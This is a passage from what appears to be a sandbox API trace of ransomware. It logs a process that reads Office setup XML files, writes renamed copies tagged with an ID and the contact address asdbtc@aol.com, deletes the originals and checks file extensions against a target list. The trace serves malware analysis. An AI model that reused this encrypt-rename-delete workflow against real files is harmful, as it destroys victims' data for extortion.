returned 12 [0048.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.499] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1565) returned 1 [0048.499] CloseHandle (hObject=0x1e0) returned 1 [0048.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0048.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.500] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.500] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.500] GetLastError () returned 0x0 [0048.500] ReadFile (in: hFile=0x1e0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x61d, lpOverlapped=0x0) returned 1 [0048.809] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x620, lpOverlapped=0x0) returned 1 [0048.810] ReadFile (in: hFile=0x1e0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.810] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.811] SetEndOfFile (hFile=0x1e4) returned 1 [0048.811] CloseHandle (hObject=0x1e4) returned 1 [0048.812] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.812] SetEndOfFile (hFile=0x1e0) returned 1 [0048.812] CloseHandle (hObject=0x1e0) returned 1 [0048.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.813] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0048.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.813] lstrlenW (lpString=".doc") returned 4 [0048.813] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.813] lstrlenW (lpString=".docx") returned 5 [0048.813] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.813] lstrlenW (lpString=".pdf") returned 4 [0048.813] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.813] lstrlenW (lpString=".xls") returned 4 [0048.813] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.813] lstrlenW (lpString=".xlsx") returned 5 [0048.813] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.813] lstrlenW (lpString=".ppt") returned 4 [0048.813] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.813] lstrlenW (lpString=".zip") returned 4 [0048.813] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.813] lstrlenW (lpString=".rar") returned 4 [0048.813] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.813] lstrlenW (lpString=".bz2") returned 4 [0048.813] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.813] lstrlenW (lpString=".7z") returned 3 [0048.814] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.814] lstrlenW (lpString=".dbf") returned 4 [0048.814] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.814] lstrlenW (lpString=".1cd") returned 4 [0048.814] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.814] lstrlenW (lpString=".jpg") returned 4 [0048.814] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.814] lstrlenW (lpString=".doc") returned 4 [0048.814] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.814] lstrlenW (lpString=".docx") returned 5 [0048.814] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.814] lstrlenW (lpString=".pdf") returned 4 [0048.814] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.814] lstrlenW (lpString=".xls") returned 4 [0048.814] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.814] lstrlenW (lpString=".xlsx") returned 5 [0048.814] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.814] lstrlenW (lpString=".ppt") returned 4 [0048.814] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.814] lstrlenW (lpString=".zip") returned 4 [0048.814] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.814] lstrlenW (lpString=".rar") returned 4 [0048.815] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.815] lstrlenW (lpString=".bz2") returned 4 [0048.815] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.815] lstrlenW (lpString=".7z") returned 3 [0048.815] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.815] lstrlenW (lpString=".dbf") returned 4 [0048.815] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.815] lstrlenW (lpString=".1cd") returned 4 [0048.815] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0048.815] lstrlenW (lpString=".jpg") returned 4 [0048.815] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.815] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.815] lstrlenW (lpString="BRANDING.XML") returned 12 [0048.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.874] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=596341) returned 1 [0048.874] CloseHandle (hObject=0x1f0) returned 1 [0048.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0048.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.875] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.875] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.875] GetLastError () returned 0x0 [0048.875] ReadFile (in: hFile=0x1f0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x91975, lpOverlapped=0x0) returned 1 [0048.949] WriteFile (in: hFile=0x1f4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x91980, lpOverlapped=0x0) returned 1 [0049.318] ReadFile (in: hFile=0x1f0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.318] WriteFile (in: hFile=0x1f4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.318] SetEndOfFile (hFile=0x1f4) returned 1 [0050.008] CloseHandle (hObject=0x1f4) returned 1 [0050.048] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.048] SetEndOfFile (hFile=0x1f0) returned 1 [0050.054] CloseHandle (hObject=0x1f0) returned 1 [0050.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.054] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0050.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.055] lstrlenW (lpString=".doc") returned 4 [0050.055] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString=".docx") returned 5 [0050.055] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0050.055] lstrlenW (lpString=".pdf") returned 4 [0050.055] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString=".xls") returned 4 [0050.055] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString=".xlsx") returned 5 [0050.055] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0050.055] lstrlenW (lpString=".ppt") returned 4 [0050.055] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.055] lstrlenW (lpString=".zip") returned 4 [0050.055] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.055] lstrlenW (lpString=".rar") returned 4 [0050.055] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString=".bz2") returned 4 [0050.055] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString=".7z") returned 3 [0050.055] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.055] lstrlenW (lpString=".dbf") returned 4 [0050.055] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.055] lstrlenW (lpString=".1cd") returned 4 [0050.055] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.055] lstrlenW (lpString=".jpg") returned 4 [0050.055] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.056] lstrlenW (lpString=".doc") returned 4 [0050.056] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.056] lstrlenW (lpString=".docx") returned 5 [0050.056] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0050.056] lstrlenW (lpString=".pdf") returned 4 [0050.056] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.056] lstrlenW (lpString=".xls") returned 4 [0050.056] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.056] lstrlenW (lpString=".xlsx") returned 5 [0050.056] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0050.056] lstrlenW (lpString=".ppt") returned 4 [0050.056] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.056] lstrlenW (lpString=".zip") returned 4 [0050.056] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.056] lstrlenW (lpString=".rar") returned 4 [0050.056] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.056] lstrlenW (lpString=".bz2") returned 4 [0050.056] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.056] lstrlenW (lpString=".7z") returned 3 [0050.056] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.056] lstrlenW (lpString=".dbf") returned 4 [0050.056] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.056] lstrlenW (lpString=".1cd") returned 4 [0050.056] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.056] lstrlenW (lpString=".jpg") returned 4 [0050.056] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.057] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.057] lstrlenW (lpString="SETUP.XML") returned 9 [0050.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.057] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=9352) returned 1 [0050.057] CloseHandle (hObject=0x1f0) returned 1 [0050.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0050.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.057] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.057] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.058] GetLastError () returned 0x0 [0050.058] ReadFile (in: hFile=0x1f0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x2488, lpOverlapped=0x0) returned 1 [0050.059] WriteFile (in: hFile=0x1f4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x2490, lpOverlapped=0x0) returned 1 [0050.060] ReadFile (in: hFile=0x1f0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.061] WriteFile (in: hFile=0x1f4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.061] SetEndOfFile (hFile=0x1f4) returned 1 [0050.061] CloseHandle (hObject=0x1f4) returned 1 [0050.062] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.062] SetEndOfFile (hFile=0x1f0) returned 1 [0050.063] CloseHandle (hObject=0x1f0) returned 1 [0050.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.063] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0050.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.063] lstrlenW (lpString=".doc") returned 4 [0050.063] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.063] lstrlenW (lpString=".docx") returned 5 [0050.063] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.063] lstrlenW (lpString=".pdf") returned 4 [0050.063] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.063] lstrlenW (lpString=".xls") returned 4 [0050.064] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString=".xlsx") returned 5 [0050.064] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.064] lstrlenW (lpString=".ppt") returned 4 [0050.064] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.064] lstrlenW (lpString=".zip") returned 4 [0050.064] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.064] lstrlenW (lpString=".rar") returned 4 [0050.064] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString=".bz2") returned 4 [0050.064] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString=".7z") returned 3 [0050.064] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.064] lstrlenW (lpString=".dbf") returned 4 [0050.064] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.064] lstrlenW (lpString=".1cd") returned 4 [0050.064] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.064] lstrlenW (lpString=".jpg") returned 4 [0050.064] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.064] lstrlenW (lpString=".doc") returned 4 [0050.064] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString=".docx") returned 5 [0050.064] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.064] lstrlenW (lpString=".pdf") returned 4 [0050.064] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.064] lstrlenW (lpString=".xls") returned 4 [0050.064] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.065] lstrlenW (lpString=".xlsx") returned 5 [0050.065] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.065] lstrlenW (lpString=".ppt") returned 4 [0050.065] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.065] lstrlenW (lpString=".zip") returned 4 [0050.065] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.065] lstrlenW (lpString=".rar") returned 4 [0050.065] lstrcmpiW (lpString1=".rar", 